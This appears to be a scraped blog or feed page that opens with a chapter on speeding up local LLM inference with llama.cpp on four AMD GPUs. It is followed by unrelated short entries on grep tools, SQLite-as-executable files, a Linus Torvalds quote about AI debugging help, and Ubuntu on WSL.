Gemma4 31B has 31 billion parameters, at a 4-bit quantization the weights are about 18 GiB and the model fits comfortably into a single one of these GPUs that each have 32GB of VRAM. It's a dense model; every token will run through all 18 GiB of those weights.

Deepseek V4 Flash has 284 billion parameters, it's a MoE model and 13 billion parameters will activate for each token. The "stock" quant from Deepseek puts the routed expert weights at 4 bits each, for a total size of 162 GiB. This is too big for this server! I'm running here a 2-bit quantization, at 81 GiB. Only the routed expert weights are compressed this hard, the shared weights are still at full precision; overall this comes out to something like 3.5 bits per weight on disk, but 5 point someodd bits per weight getting loaded for each token. This is just about the right size to max out the memory in the four GPU array. (Remember, we also need to store the current context in VRAM as well, the "KV cache", because it's going to be the other factor in the matmul we need to do each layer). 2-bit quants in general have a bad reputation but I'm finding this particular one to be surprisingly good, probably because the shared weights are all still at high precision.²

When I first built this machine in the previous chapter, I immediately tried to run this DS4Flash quant across all four cards, in the default layer-parallel mode, leaving all of the other settings on whatever the default was. It ran at about 9 to 10 tokens per second. This was usable to get a fan control script written, but was slow enough to be annoying and unsatisfying. I knew there was performance that was getting left on the table here.

First, I doubled back and tested out some techniques with Gemma instead. It's easier to work with a smaller model, I ran into out-of-memory errors less often.

One thing I can do here is directly test the performance penalty for layer parallelism against running everything on one card. I've got a 4-bit quant of Gemma, and I locked it to a context size of 65536 tokens. Here's what some quick testing with the basic default settings showed me:

Single card performance: 19-20 tokens per second
Two cards, layer parallel: 15-16 tokens per second
Four cards, layer parallel: 12-13 tokens per second

For reference, the base command:

lama-server --host 0.0.0.0 --model /mnt/storage/llm/Gemma-4-31B/gemma-4-31B-it-qat-q4_0.gguf --ctx-size 98304 --fit off --n-gpu-layers all

then, single card adds on

--device ROCm0 --split-mode none

two card test:

--device ROCm2,ROCm3 --split-mode layer

four card test:

--device ROCm0,ROCm1,ROCm2,ROCm3 --split-mode layer

The fact that this model fits all in one card allows a real apples-to-apples comparison here; we can see that with the same exact model weights and context length, splitting the layers up among these different GPUs has a performance penalty just from the synchronization they need to do. Of course, for GPUs that are designed to exchange data across some special link, this will be much less pronounced. But right now the takeaway I have is that getting this thing to go faster means having as few movements between GPUs as possible.³

Another interesting observation here is that the GPUs are all running one at a time. When I watch rocm-smi as some text generation is running, three of the GPUs are basically idle at all times, and the one that's working is only drawing 150 watts or so (out of a 250 watt maximum). In the last chapter you saw me get a 1600 watt power supply to build this machine, and while I did need all of the power connectors that the massive PSU provided, the box itself is never drawing more than 350 watts during layer-parallel (or single-card) inference. Here's the output from rocm-smi during the tw-card test which shows this fairly well:

========================================== ROCm System Management Interface ==========================================
==================================================== Concise Info ====================================================
Device  Node  IDs              Temp    Power   Partitions          SCLK     MCLK     Fan  Perf  PwrCap  VRAM%  GPU%  
              (DID,     GUID)  (Edge)  (Avg)   (Mem, Compute, ID)                                                    
======================================================================================================================
0       1     0x73a1,   29921  35.0°C  7.0W    N/A, N/A, 0         0Mhz     96Mhz    0%   auto  250.0W  0%     0%    
1       2     0x73a1,   10018  37.0°C  7.0W    N/A, N/A, 0         0Mhz     96Mhz    0%   auto  250.0W  0%     0%    
2       3     0x73a1,   62528  48.0°C  87.0W   N/A, N/A, 0         500Mhz   673Mhz   0%   auto  250.0W  48%    7%    
3       4     0x73a1,   2460   53.0°C  128.0W  N/A, N/A, 0         2410Mhz  1000Mhz  0%   auto  250.0W  49%    96%   
======================================================================================================================
================================================ End of ROCm SMI Log =================================================

This is all very unsatisfying! Most of the hardware is idle at any given time. And, while 20 tokens per second is a usable level for a chat interface, it would be nice if we could go faster, especially when it's doing reasoning about some complicated thing. (Or writing code in an agent harness, which we'll talk about in Chapter 3). And we can see why this is happening; each layer is basically executed in series so the GPUs that aren't working the current layer are just sitting there, and even when we're processing some layer, the operation is bound on memory throughput so the processor is spending a lot of time idle waiting for data to arrive.

The current state of the art here, to get a model to generate output tokens faster by parallelizing this serial pipeline, is "speculative decoding", or the use of a draft model. You take a much smaller model that generates tokens that are usually kind of similar, and run it first, and then the main model verifies the next several tokens in parallel. How well this works is basically proportional to how well the draft model predicts what the main model will produce, and how well you can parallelize inference. Early experiments with this just used a smaller and faster transformer LLM trained on similar data as the big one; later developments use a specialized multi-token prediction model that generates several tokens simultaneously very quickly and shares some tensors and KV cache with the base model for memory efficiency.

Gemma4 has such an MTP model and it's quite well-optimized; they call it "gemma4-assistant". Let's enable it!⁴

We add the model and the flags to the command from earlier.

--spec-draft-model /mnt/storage/llm/Gemma-4-31B/MTP/mtp-gemma-4-31B-it-Q8_0.gguf --spec-draft-n-max 3 --spec-type draft-mtp --n-gpu-layers all --n-gpu-layers-draft all --spec-draft-device ROCm1

Two-card configuration we also specify what device the draft model runs on, which must match the main model's devices because they share tensors for some layers.

-spec-draft-device ROCm2,ROCm3

With the MTP model enabled we see:

around 40 tokens per second on a single card
20 tokens per second on two cards in layer parallel

Putting it all in one card is faster than splitting it in a layer parallel two or three cards because llama.cpp will batch process multiple tokens on a single GPU quite well; inference is memory-bound so there's spare compute just kind of lying around. 20 tokens per second on two cards isn't bad; we're back up to the speed of one card without it. This is not a total loss if we need more context than fits on one card but it's still disappointing.

Okay, so we've proved out the use of a draft model to speed things up, and we have a Gemma4-31B configuration that generates quickly. It only uses one card, but that's fine, it fits.

Now, let's speed up Deepseek V4 Flash with a draft model and see if it's less annoyingly slow. The Deepseek team came up with a new draft model architecture called DSpark and released it with Deepseek V4. Here's a link to the paper, it's an improvement of a previous draft model architecture, DFlash. We can download and run their draft model that they trained to work with Deepseek V4 Flash, with a recent build of llama.cpp. Spread across all four cards we're getting something like 13 tokens per second. Promising! I'm noticing that performance is varying pretty sharply too as it works its way through a prompt. Something feels off here.

Reading the DSpark paper, I think that the draft model is going to be pretty sensitive to inter-GPU transfers more so than the main model. I don't have my head around all of the details, but DSpark (like predecessor DFlash) is a diffusion model similar to an image generator and I know these don't like running on multiple GPUs. The paper's section "Real World Deployment of DSpark" mentions some issues getting the model to parallelize well across GPUs, and I bet the issues are worse on my hardware. My hypothesis here is that I'll see a speed increase if I can get DSpark to run on one GPU only, and spread the main model across all four GPUs with whatever room is left.

This took some trial and error. The draft model takes a nontrivial amount of VRAM itself, about 10 GB, and that's after it shares the output layer with the main model for memory efficiency. A build of llama.cpp off of `master` doesn't handle this layer sharing particularly well. At first, llama.cpp would "helpfully" spill the model over into CPU memory, making it significantly slower (6 or fewer tokens/sec). I locked this out by explicitly specifying "--n-gpu-layers all" so these would turn into out-of-memory errors. After I shrunk down the context a bit, I could use the --split-tensor option to distribute layers of the model around so that there was more room on the one card that held the draft model.

llama-server  --host 0.0.0.0 --port 8080 \
--model /mnt/storage/llm/DeepSeek-V4-Flash-0731/DeepSeek-V4-Flash-IQ2XXS-w2Q2K-AProjQ8-SExpQ8-OutQ8-chat-v2-imatrix-0731.gguf \
--model-draft /mnt/storage/llm/DeepSeek-V4-Flash-0731/dspark-DeepSeek-V4-Flash-0731-Q8_0.gguf \
--spec-type draft-dspark --spec-draft-n-max 3 \
--n-gpu-layers all --n-gpu-layers-draft all \
--parallel 1 --fit off --ctx-size 524288 \
--device ROCm3,ROCm2,ROCm1,ROCm0 --tensor-split 11,12,12,8 --split-mode layer

This still failed, because the draft model shares layers with the base model to save on memory usage, and now those layers aren't necessarily on the same card as the drafter!

I was about to start digging into the source code and making changes and then my buddy Sol found out that somebody else was already working on this; there was an open PR about more-or-less this issue so I built from his PR branch. Here's where it started actually working!

Now I was getting about 15-16 tokens per second out of Deepseek V4 Flash. I knew there was more I could do here, and the rest of the settings changes were kind of boring, so instead of guessing and checking manually as I'd been doing previously, I used a script to sweep through various setting combinations and test token generation against a benchmark. (I just grabbed some random question about air conditioning my garage and used it as a baseline, since I knew it would generate lots of output in response).

I vibecoded out a few python scripts to sweep through various settings configurations and spit results out into CSV files. First, I swept through different ways to split the tensors between the cards to balance out memory usage on each card, so I could then scale up the context size until I filled up VRAM. I got up to 512M tokens of context space this way! Then I swept various other settings - number of speculative MTP tokens to attempt to use (5 performed worse than 3 because acceptance rate was so low that the extra compute just wasted time), batch and microbatch size for processing (a larger batch size had a surprisingly large effect on both token generation speed and memory usage, while a larger microbatch size didn't matter at all and needlessly allocated a bunch of system RAM), and a bunch of other stuff that didn't end up mattering one way or the other (n-gram prediction didn't help, changing the default settings for flash attention or thread count or NUMA or whatever did nothing useful). Also, shuffling which cards held which tensors was useful for some reason.

Mostly the scripts just swept through benchmarks while I did some chores. By the end of this, the benchmark was showing 22 tokens per second and I was consistently getting 19-20 tok/s in the web UI and in the OpenCode harness. It would spit out ranked choices for the settings like this:

variant                                  pp mean   tg mean   tg med    tg sd   accept  meanlen  RSS/anon GiB  out hash  GPU-only  pipeline
c524288_b4096_ub256_n3_p0_ts12-11-12-8_dROCm3-ROCm2-ROCm1-ROCm0_faon_bson_poll50_tauto_numadef    99.32     22.96    22.95     0.15    0.741     3.21  81.8/13.2   0949adc5      True       yes
c524288_b4096_ub256_n3_p0_ts12-11-12-8_dROCm3-ROCm2-ROCm1-ROCm0_faon_bson_poll50_t16-16_numadef    97.00     22.93    22.93     0.04    0.741     3.21  81.8/13.1   0949adc5      True       yes
c524288_b4096_ub256_n3_p0_ts11-12-12-8_dROCm1-ROCm2-ROCm3-ROCm0_faon_bson_poll50_t16-16_numadef    99.51     22.84    22.77     0.17    0.734     3.19  81.8/13.2   0949adc5      True       yes
c524288_b4096_ub256_n3_p0_ts11-12-12-8_dROCm1-ROCm2-ROCm3-ROCm0_faon_bson_poll50_tauto_numadef    98.58     22.81    22.83     0.13    0.734     3.19  81.8/13.1   0949adc5      True       yes
c524288_b4096_ub256_n3_p0_ts11-12-12-8_dROCm3-ROCm2-ROCm1-ROCm0_faon_bson_poll50_t16-16_numadef   100.22     22.77    22.74     0.08    0.734     3.19  81.8/13.1   0949adc5      True       yes
c524288_b4096_ub256_n3_p0_ts12-11-12-8_dROCm1-ROCm2-ROCm3-ROCm0_faon_bson_poll50_t16-16_numadef    95.30     22.76    22.74     0.10    0.741     3.21  81.8/13.1   0949adc5      True       yes
c524288_b4096_ub256_n3_p0_ts12-11-12-8_dROCm1-ROCm2-ROCm3-ROCm0_faon_bson_poll50_tauto_numadef    99.75     22.76    22.78     0.15    0.741     3.21  81.8/13.1   0949adc5      True       yes
c524288_b4096_ub256_n3_p0_ts11-12-12-8_dROCm3-ROCm2-ROCm1-ROCm0_faon_bson_poll50_tauto_numadef    97.77     22.15    22.16     0.08    0.734     3.19  81.8/13.1   0949adc5      True       yes

At this point I felt like I'd wrung about as much as I can out of this. It's still a little slower than I'd like, but at least it's twice as fast as when I started. Hooking this thing up to OpenCode or a similar agent harness is now pretty usable. I've got a single-card configuration with one model going at a very solid 40 tokens per second and a configuration that uses all four cards to run a smarter model going half as fast.

section 4: further experimentation

Something here still didn't feel right, though. The inter-card communication slowdown seemed excessive, it kept bugging me. It was hitting that instinctual response I have when code is slow and doesn't have a good reason for it. There's a benchmark that comes with older versions of ROCm to measure ram throughput, rocm-throughput-test.

          RocmBandwidthTest Version: 2.6.0

          Launch Command is: /opt/rocm-6.4.0/bin/rocm-bandwidth-test (rocm_bandwidth -a + rocm_bandwidth -A)

          Device: 0,  Intel(R) Core(TM) i9-10900X CPU @ 3.70GHz
          Device: 1,  AMD Radeon PRO V620,  GPU-3e69435e6f91ec49,  19:0.0
          Device: 2,  AMD Radeon PRO V620,  GPU-d2de7efac208e0e8,  1c:0.0
          Device: 3,  AMD Radeon PRO V620,  GPU-a11601b34831450c,  67:0.0
          Device: 4,  AMD Radeon PRO V620,  GPU-6e4c81c877e6eba8,  b5:0.0

          Inter-Device Access
          D/D       0         1         2         3         4
          0         1         1         1         1         1
          1         1         1         0         0         0
          2         1         0         1         0         0
          3         1         0         0         1         0
          4         1         0         0         0         1

          Unidirectional copy peak bandwidth GB/s
          D/D       0           1           2           3           4
          0         N/A         6.802       6.803       13.586      6.793
          1         7.163       407.461     N/A         N/A         N/A
          2         7.164       N/A         583.860     N/A         N/A
          3         14.301      N/A         N/A         684.365     N/A
          4         7.164       N/A         N/A         N/A         699.342

Right, that explains it, PCIe peer-to-peer transfers are just completely broken and everything is taking a pit stop at the CPU because inter-card DMA doesn't work. Of course that's slow. I was immediately sure that I could get a solid performance increase by fixing this.

First I'm digging around in the BIOS settings. When I first set up this box, I needed to set MMIO High Base to some non-default higher value to get this board to boot at all. (This tells the cards where their base memory address range should start; the default value didn't work with four 32GB cards, probably because that would be a really weird configuration when the motherboard was made back in 2016). Back then, I just set it to 56T to get it to work. When debugging all this, Sol mentioned that the AMD documentation has some vague statement about how some GPUs (didn't specify this one) actually only do 44-bit addressing, so we'd need the memory addresses to stay below 16T. I did some trial and error here and landed on these settings: 4T MMIO High Base, 1024G granularity.

          Inter-Device Access
          D/D       0         1         2         3         4
          0         1         1         1         1         1
          1         1         1         1         1         1
          2         1         1         1         1         1
          3         1         1         1         1         1
          4         1         1         1         1         1

          Unidirectional copy peak bandwidth GB/s
          D/D       0           1           2           3           4
          0         N/A         6.754       6.804       13.815      6.798
          1         7.264       619.634     0.460       0.460       0.460
          2         7.264       0.461       825.823     0.461       0.461
          3         14.508      0.455       0.455       717.872     0.454
          4         7.264       0.460       0.460       0.460       747.623

The bandwidth test now shows direct connectivity between cards. It looks pretty slow, though. Disconcerting. Let's give tensor parallel a try. Loaded up llama.cpp, it's looking okay, then we try some inference:

hey little man how's it going

Well that's not right. Layer parallel?

yea...

After this, the kernel panics.

Okay, so I have some kind of corruption issue going, then; the model is having a stroke. The answer was so well known that even the tiny models on the server knew what to try next: set "iommu=pt" in the kernel settings.

          Unidirectional copy peak bandwidth GB/s
          D/D       0           1           2           3           4
          0         N/A         6.757       6.788       13.473      6.792
          1         7.164       567.469     5.228       7.162       5.226
          2         7.164       5.229       582.947     7.162       5.226
          3         14.313      5.227       5.227       766.083     5.227
          4         7.164       5.225       5.227       7.161       705.815

Now we're cooking!

Earlier, before I had this working, I tested out tensor parallel on Gemma4 alongside the layer parallel test earlier. My initial results, with broken PCIe P2P, were:

two cards: 20 tokens per second
four cards: 0.5 tokens per second, total failure.

Re-tested this again after getting this working and now I see:

two cards: 47 tokens per second
four cards: 37 tokens per second.

(Recall that 40 tok/s was the single-card baseline).

So, the peer-to-peer sync is still slowing things down if I try to span across four cards, but between only two I'm now getting a little boost! It's not the "twice as fast" that I would get if I had a really fast link between them, but the communication slowdown isn't consuming the entire speedup from the increased memory bandwidth. That's not bad at all.

Somewhere in the middle of me testing all of this stuff, the new Qwen3.8-27B model dropped and I saw similar results there: about 27 tokens per second with one card and about 35 with two cards in tensor parallel, a nice 30% speedup, with speeds going back down below the single-card level when I tried to deal in four.

Let's take another look at power draw per card in rocm-smi:

========================================== ROCm System Management Interface ==========================================
==================================================== Concise Info ====================================================
Device  Node  IDs              Temp    Power   Partitions          SCLK     MCLK     Fan  Perf  PwrCap  VRAM%  GPU%  
              (DID,     GUID)  (Edge)  (Avg)   (Mem, Compute, ID)                                                    
======================================================================================================================
0       1     0x73a1,   29921  31.0°C  6.0W    N/A, N/A, 0         0Mhz     96Mhz    0%   auto  250.0W  4%     0%    
1       2     0x73a1,   10018  32.0°C  7.0W    N/A, N/A, 0         0Mhz     96Mhz    0%   auto  250.0W  0%     0%    
2       3     0x73a1,   62528  64.0°C  215.0W  N/A, N/A, 0         2480Mhz  1000Mhz  0%   auto  250.0W  65%    97%   
3       4     0x73a1,   2460   68.0°C  221.0W  N/A, N/A, 0         2395Mhz  1000Mhz  0%   auto  250.0W  65%    98%   
======================================================================================================================
================================================ End of ROCm SMI Log =================================================

Now we're really using multiple cards simultaneously, instead of flitting around between them. Less idle hardware! (I should probably do some tokens-per-watt-hour measurements but at this point I'm getting pretty bored of this and want to move on to using the models to actually do something).

section 5: future development ideas

At this point I attempted to run Deepseek V4 Flash in tensor parallel across all four cards and all I got was an error message about how llama.cpp doesn't yet support tensor parallel on the Deepseek4 architecture. I have a hypothesis here that it would run fastest, on this server, as a hybrid, two TP2 groups in layer parallel. Changing llama.cpp to support that would be a whole bunch of work that I'm not going to bite off at the moment, though.

I didn't spend any real time here talking about prompt processing. Before an LLM can do any token generation at all, it needs to do "prefill", or prompt processing, where it turns the long prompt into the initial K and V matrix embeddings. This is generally faster than token generation but it can be annoyingly long for long prompts, which you tend to get when agentic coding tools try to read in large files (or when you just e.g. copy a whole blog post into the thing for proofreading). It's a completely different workload from token generation: it's compute-bound instead of memory-bound and because of this it runs faster in layer parallel. In theory I could have the best of both, at least for the smaller models, by doing prompt processing on one pair of GPUs in layer parallel and then token generation on another pair in tensor parallel. (The big LLM providers are basically all doing this kind of thing now, and there's hardware development to specialize data center GPUs into one workload or the other). This also would require some development on llama.cpp; I'm going to table this for now.

Next chapter, we'll talk about giving the AI some tools so it isn't just a text generator.

Appendix: final configurations

Here's what I ended up with as commands to run. Your own hardware will probably differ and you'll probably need to sweep settings too.

Deepseek V4 Flash 0731

Layer-parallel, 22-ish tok/s output.

llama-server --host 0.0.0.0 --port 8080 \
--model /mnt/storage/llm/DeepSeek-V4-Flash-0731/DeepSeek-V4-Flash-IQ2XXS-w2Q2K-AProjQ8-SExpQ8-OutQ8-chat-v2-imatrix-0731.gguf \
--model-draft /mnt/storage/llm/DeepSeek-V4-Flash-0731/dspark-DeepSeek-V4-Flash-0731-Q8_0.gguf \
--spec-type draft-dspark --spec-draft-n-max 3 --n-gpu-layers all --n-gpu-layers-draft all \
--parallel 1 --fit off --flash-attn on --ctx-size 524288 \
--device ROCm3,ROCm2,ROCm1,ROCm0 --tensor-split 11,12,12,8 --split-mode layer \
--spec-draft-device ROCm0 --spec-draft-backend-sampling \
--batch-size 4096 --ubatch-size 256 --poll 50

Gemma 4 31B QAT

Tensor parallel, 45-ish tok/s output.

llama-server --host 0.0.0.0 --port 8080 \
--model /mnt/storage/llm/Gemma-4-31B/gemma-4-31B-it-qat-Q4_0.gguf \
--spec-draft-model /mnt/storage/llm/Gemma-4-31B/MTP/mtp-gemma-4-31B-it-Q8_0.gguf \
--spec-draft-n-max 3 --spec-type draft-mtp \
--n-gpu-layers all --n-gpu-layers-draft all \
--device ROCm2,ROCm3 --ctx-size 98304  --split-mode tensor

Qwen 3.8 27B

Tensor parallel, 35-ish tok/s output. Note: reasoning-effort must be set to medium for this model to be useful, the default xhigh is unusable.

llama-server --host 0.0.0.0 --port 8080 \
--model /mnt/storage/llm/Qwen3.8-27B/Qwen3.8-27B-Q6_K.gguf \
--device ROCm2,ROCm3 --split-mode tensor \
--spec-type draft-mtp --spec-draft-n-max 4 \
-b 4096 -ub 256 --parallel 1\
--n-gpu-layers all --jinja \
--reasoning-effort medium

(The kind of model that isn't a MoE got retroactively named "dense model" after MoEs got popular). [back]
This is worth a little discussion. Antirez posted his quantization recipe with the GGUF file, other people have been doing similar things as well. By keeping the shared tensors at full precision and only compressing the routed experts, it preserves a lot of the quality compared to the simple approach of compressing everything. The effect is similar to variable bit rate MP3 encoding.[back]
Quick sidebar here on "spilling over into system RAM". Many guides and reddit posters and so on will tell you that you can run a large MoE at acceptable speeds by putting shared tensors into VRAM and routed experts into system RAM. Now, people have different subjective definitions of "acceptable speeds", but for me, after some testing, I've concluded that this is what the kids call "cope". I have quad-channel DDR4 in this server, which is not top of the line but is the best you can do without spending a fortune on some 12-channel DDR5 monster server, and I need the model to stay entirely in VRAM to have any hope of exceeding about 8 tokens per second for every model I've tested here. I will be treating any "spill into system RAM" as a failure case. [back]
One thing that starts happening when you start doing complicated things like this is, llama.cpp's automatic sizing of the context size to fit VRAM stops working right and you need to specify this manually or you'll get either out-of-memory errors or the model will automatically spill into main system RAM and slow to a crawl. [back]

Contents
Email

Feature comparison of ack, ag, git-grep, grep and ripgrep

Wed, 26 Aug 2026 01:53:42 +0000

	ack	ag	git-grep	GNU grep	rg
Name	ack	The Silver Searcher	git-grep	GNU grep	ripgrep
Project page	Link	Link	Link	Link	Link
Language	Perl	C	C	C	Rust
License	Artistic License 2.0	Apache License 2.0	GPL 2	GPL 3	MIT/Unlicense
Regular expressions	Native Perl	Perl-compatible	Basic, extended, or Perl-compatible	Basic, extended, or Perl-compatible (experimental)	Fast non-backtracking, Perl-compatible, or automatic selection
Feature	ack	ag	git-grep	GNU grep	rg
Search where	anywhere	anywhere	git repository by default, or anywhere with --no-index	anywhere	anywhere
Search git history			✔
Include/exclude files by filetype	✔	✔			✔
Specify filetype by file extension	✔	✔			✔
Specify filetype by pattern match on filename	✔	✔		✔	✔
Specify filetype by pattern match on first line of file	✔
Configuration file	System-, user- and project-level		System-, user- and project-level		Specified by RIPGREP_CONFIG_PATH environment variable
Ignore files based on .gitignore or .ignore files		✔	✔		✔
Parallelism		✔, threads	✔, threads		✔, threads
Deterministic output	✔, using --sort-files				✔, using --sort path
Match patterns across newlines		✔			✔
Smart case searching	✔	✔			✔
Multiple patterns with boolean expressions			✔
Print lines by number	✔
Show proximity of matches to other matches	✔, in ack 3
Build output for each line based on match groups	✔				✔
Limit length of output lines		✔			✔
Underline matches to show matches w/o color	✔
Search in gzip files		✔			✔
Searching	ack	ag	git-grep	GNU grep	rg
Ignore case	✔	✔	✔	✔	✔
Smart case searching (case-insensitive unless the pattern contains a capital letter)	✔	✔			✔
Re-enable case-sensitive search over case-insensitive or smart-case search	✔	✔	✔		✔
Match whole words	✔	✔	✔	✔	✔
Invert match	✔	✔	✔	✔	✔
Match entire line only				✔	✔
Specify pattern explicitly	✔		✔	✔	✔
Read patterns from a file			✔	✔	✔
Specify multiple patterns with boolean expressions			✔
Match patterns across newlines		✔			✔
Print specific lines by number	✔
Regular expressions	ack	ag	git-grep	GNU grep	rg
Use fixed strings, not regular expressions, for a literal match	✔	✔	✔	✔	✔
Use basic regular expressions			✔	✔
Use extended regular expressions			✔	✔
Use Perl (or Perl-compatible) regular expressions	✔	✔	✔	✔	✔
Search output	ack	ag	git-grep	GNU grep	rg
Print only filenames that contain matches	✔	✔	✔	✔	✔
Print only filenames that do not contain matches	✔	✔	✔	✔	✔
Show only the part of a line that matched	✔	✔		✔	✔
Specify output for each line match	✔				✔
Print the filename for each match	✔	✔	✔	✔	✔
Suppress the prefixing filename on output	✔	✔	✔	✔	✔
Print paths relative to the project top directory			✔
Prefix the line number to matching lines		✔	✔	✔	✔
Suppress line numbers		✔	✔		✔
Print a heading of each file's name before its matches	✔	✔	✔		✔
Specify filename to show for matches on STDIN				✔
Show the column number of the first match	✔	✔			✔
Print lines of context after matches	✔	✔	✔	✔	✔
Print lines of context before matches	✔	✔	✔	✔	✔
Print lines of context before and after matches	✔	✔	✔	✔	✔
Show number of lines matching per file	✔	✔	✔	✔	✔
Print null byte as separator between filenames	✔	✔	✔	✔	✔
Stop searching in each file after NUM matches	✔	✔		✔	✔
Stop searching after one match of any kind	✔
Print the byte offset within the file before each line				✔	✔
Suppress error messages about nonexistent or unreadable files	✔	✔		✔	✔
Limit length of output lines		✔			✔
Do not output matched lines			✔	✔	✔
Print stats (files scanned, time taken, etc.)		✔			✔
File presentation	ack	ag	git-grep	GNU grep	rg
Enable color output	✔	✔	✔	✔	✔
Underline matches	✔
Set colors for various output items	✔	✔	✔	✔	✔
Pipe output through a pager or other command	✔		✔
Separate match output with blank lines unless they are on adjacent lines	✔
Group together all matches in a file	✔	✔			✔
Specify group separator				✔
Show the function name of the match			✔
Show the function in which a match was found			✔
Print a break between results from different files	✔	✔
Flush output on every line	✔			✔	✔
File finding	ack	ag	git-grep	GNU grep	rg
Only print the files selected, without searching	✔				✔
Show which types each file has	✔
List searchable files that match a pattern	✔	✔			✔
Read the list of files to search from FILE	✔
Sort the found files lexically	✔				✔
Read the list of files to search from STDIN	✔
Limit search to filenames matching a pattern		✔			✔
Search hidden files		✔			✔
File inclusion/exclusion	ack	ag	git-grep	GNU grep	rg
Search only files of a given type	✔	✔			✔
Exclude files of a given type	✔				✔
Recurse into subdirectories	✔	✔		✔	✔
Recurse into subdirectories, following symlinks				✔	✔
No descending into subdirectories	✔	✔			✔
Add/remove directory from list of ignored dirs	✔	✔			✔
Don't respect ignore files (.gitignore, .ignore, etc)					✔
Ignore files larger than a given size					✔
Specify files to search				✔	✔
Ignore files/directories matching		✔		✔	✔
Add filter for ignoring files	✔				✔
Include only files of recognized types	✔				✔
Follow symlinks	✔	✔			✔
Don't follow links to other devices		✔		✔	✔
Search all types of files		✔
Limit directory search depth		✔	✔		✔
Search binary files		✔			✔
Treat files as binary				✔
Don't search in binary files			✔
Treat binary files as if they were text			✔		✔
Search all text files		✔			✔
Search all files		✔			✔
Skip rules found in VCS ignore files (.gitignore, .hgignore, etc)		✔	✔		✔
File type specification	ack	ag	git-grep	GNU grep	rg
Create a filetype, replacing the previous specs	✔
Add specifications to an existing filetype	✔				✔
Remove a file type	✔				✔
Ignore default type definitions	✔
Display all known types	✔	✔			✔
Miscellaneous	ack	ag	git-grep	GNU grep	rg
Print all lines, whether matching or not	✔	✔			✔
Outputs a default ackrc for your customization to standard output	✔
Dump information on which options are loaded	✔				✔
Specify a configuration file to use	✔
Ignore environment variables and global configuration files	✔				✔
Treat standard input as a pipe	✔
Search contents of compressed files (e.g. gzip)		✔			✔
Specify input file encoding					✔

Your executable is a SQLite database

Wed, 26 Aug 2026 01:19:54 +0000

Your executable is a SQLite database

Farid Zakaria describes a neat Linux pattern for creating a SQLite database file that can be directly used as an executable binary.

The trick sets the SQLite file format's 4-byte application ID (68 bytes into the file) to SELF, standing for Structured Executable & Linkable Format. The various components of the ELF executable format are then arranged into a number of different SQLite tables, using this schema.

Their self-exec interpreter (C code here) can then extract and execute the necessary pieces.

You can additionally use a Linux mechanism called binfmt_misc to teach the kernel to execute that any time it encounters an executable matching that binary pattern. Farid uses NixOS here, but without NixOS I think registration looks something like this:

printf '%s\n' ':self:M:68:SELF::/usr/local/bin/self-exec:' \ > /proc/sys/fs/binfmt_misc/register

Via Hacker News

Tags: c, linux, sqlite

Quoting Linus Torvalds

Wed, 26 Aug 2026 01:19:54 +0000

And this was a debug session from hell, enormously helped by an AI doing much of the grunt-work.
I'd like to call it my tireless helper, but the AI several times stated flat out that this was impossible and unsolvable and that we should just write a report about it.
I suspect those things have been trained by people who may not be quite as stubborn as I am.
But while the AI was ready to give up several times, it did keep adding debug code and analyzing it faithfully when I pushed. So credit where credit is due and I let the AI write the commit message above.

— Linus Torvalds, drm/xe: Don't hand out the flat CCS storage as usable VRAM

Tags: linus-torvalds, linux, generative-ai, ai-assisted-programming, ai, llms

Ubuntu crece más rápido en Windows que en Linux ¿Gana Microsoft?

Tue, 25 Aug 2026 18:53:23 +0000

El uso de Ubuntu a través del Subsistema de Windows para Linux está creciendo más rápido que su base de usuarios nativos de escritorio. Un ejecutivo de Canonical afirma que el número de usuarios de WSL podrían superar pronto a quienes utilizan Ubuntu como su sistema operativo principal.

La predicción proviene de Jon Seager, vicepresidente de Ingeniería de Canonical, la empresa desarrolladora de Ubuntu. La cita -no tan sorprendente- la ha traído a la luz Windows Latest tras revisar una entrevista publicada en The Pragmatic Engineer hace unos meses. Y no tiene desperdicio: «Espero ver más usuarios de Ubuntu WSL que usuarios de Ubuntu ‘nativo’ en los próximos meses», aseguraba el ingeniero de Canonical.

Ubuntu en WSL, todo un éxito

WSL permite a los usuarios ejecutar un entorno Linux directamente dentro de Windows sin reemplazar el sistema operativo principal ni configurar un sistema de arranque dual. Los usuarios pueden acceder a Ubuntu a través de una terminal mientras continúan usando Windows como su entorno de escritorio principal.

Según Seager, este tipo de configuración se ha vuelto particularmente atractiva para los desarrolladores que, si bien sus empleadores les exigen usar Windows, aún necesitan herramientas de Linux para el desarrollo, el aprendizaje automático y la inteligencia artificial. El Subsistema de Windows para Linux les permite obtener un entorno Linux sin renunciar a su flujo de trabajo basado en Windows. Todo un éxito, según el vicepresidente de Canonical: «en un año, el crecimiento de nuestras cifras de WSL es significativamente mayor que el crecimiento de las cifras de uso de ordenadores de sobremesa».

¿Gana Microsoft?

La cita merece comentario aparte. Hace más de una década, en la BUILD 2016, Microsoft anunció planes para llevar Bash a Windows 10, el intérprete de comandos que se instala por defecto en la mayoría de las distribuciones GNU/Linux. Con ella se podía ejecutar binarios de Linux en Windows 10 desde la línea de comandos, scripts Bash, comandos de Linux como sed, awk, grep y herramientas como Ruby, Git o Python, directamente en Windows.

Canonical fue el primero en anunciar un acuerdo con Microsoft para usar WSL y de hecho, Ubuntu Linux fue la primera distribución en lanzarse en la Windows Store. Microsoft también anunció que estaba trabajando con Fedora y SuSE para hacer exactamente lo mismo que con Ubuntu, permitir la ejecución nativa de herramientas y utilidades en la parte superior del subsistema de Windows para Linux.

A partir de ahí, WSL ha ido añadiendo capacidades, mejorando su rendimiento y facilitando su uso con una segunda versión que fue mucho más allá de un simple Bash, ya que desde una simple capa de compatibilidad ofreció un kernel Linux completo.

Aunque los seguidores de Linux apuestan por el uso de un Linux «real» en lugar de WSL, considerando -con toda la razón- que la experiencia con el sistema libre solo es posible instalando una distribución completa (o un modo de arranque dual) que ocupe su propia partición y sistema de archivos, hay que reconocerle a Microsoft las facilidades que ha dado con este WSL a la hora de ejecutar una distribución y/o aplicaciones de Linux.

Y el triunfo de la estrategia… Por descontado, el objetivo de Microsoft no es altruista y simplemente prefiere que si un usuario necesita/quiere algo de Linux lo haga dentro de Windows. En cuanto a Ubuntu, y en general Linux, muchas dudas: ganan usuarios por un lado y lo pierden por otro como alternativa a Windows.

La entrada Ubuntu crece más rápido en Windows que en Linux ¿Gana Microsoft? es original de MuyLinux

Linux 7.2 mejora el rendimiento de CPU y GPU, la gestión de memoria y Btrfs

Tue, 25 Aug 2026 18:53:23 +0000

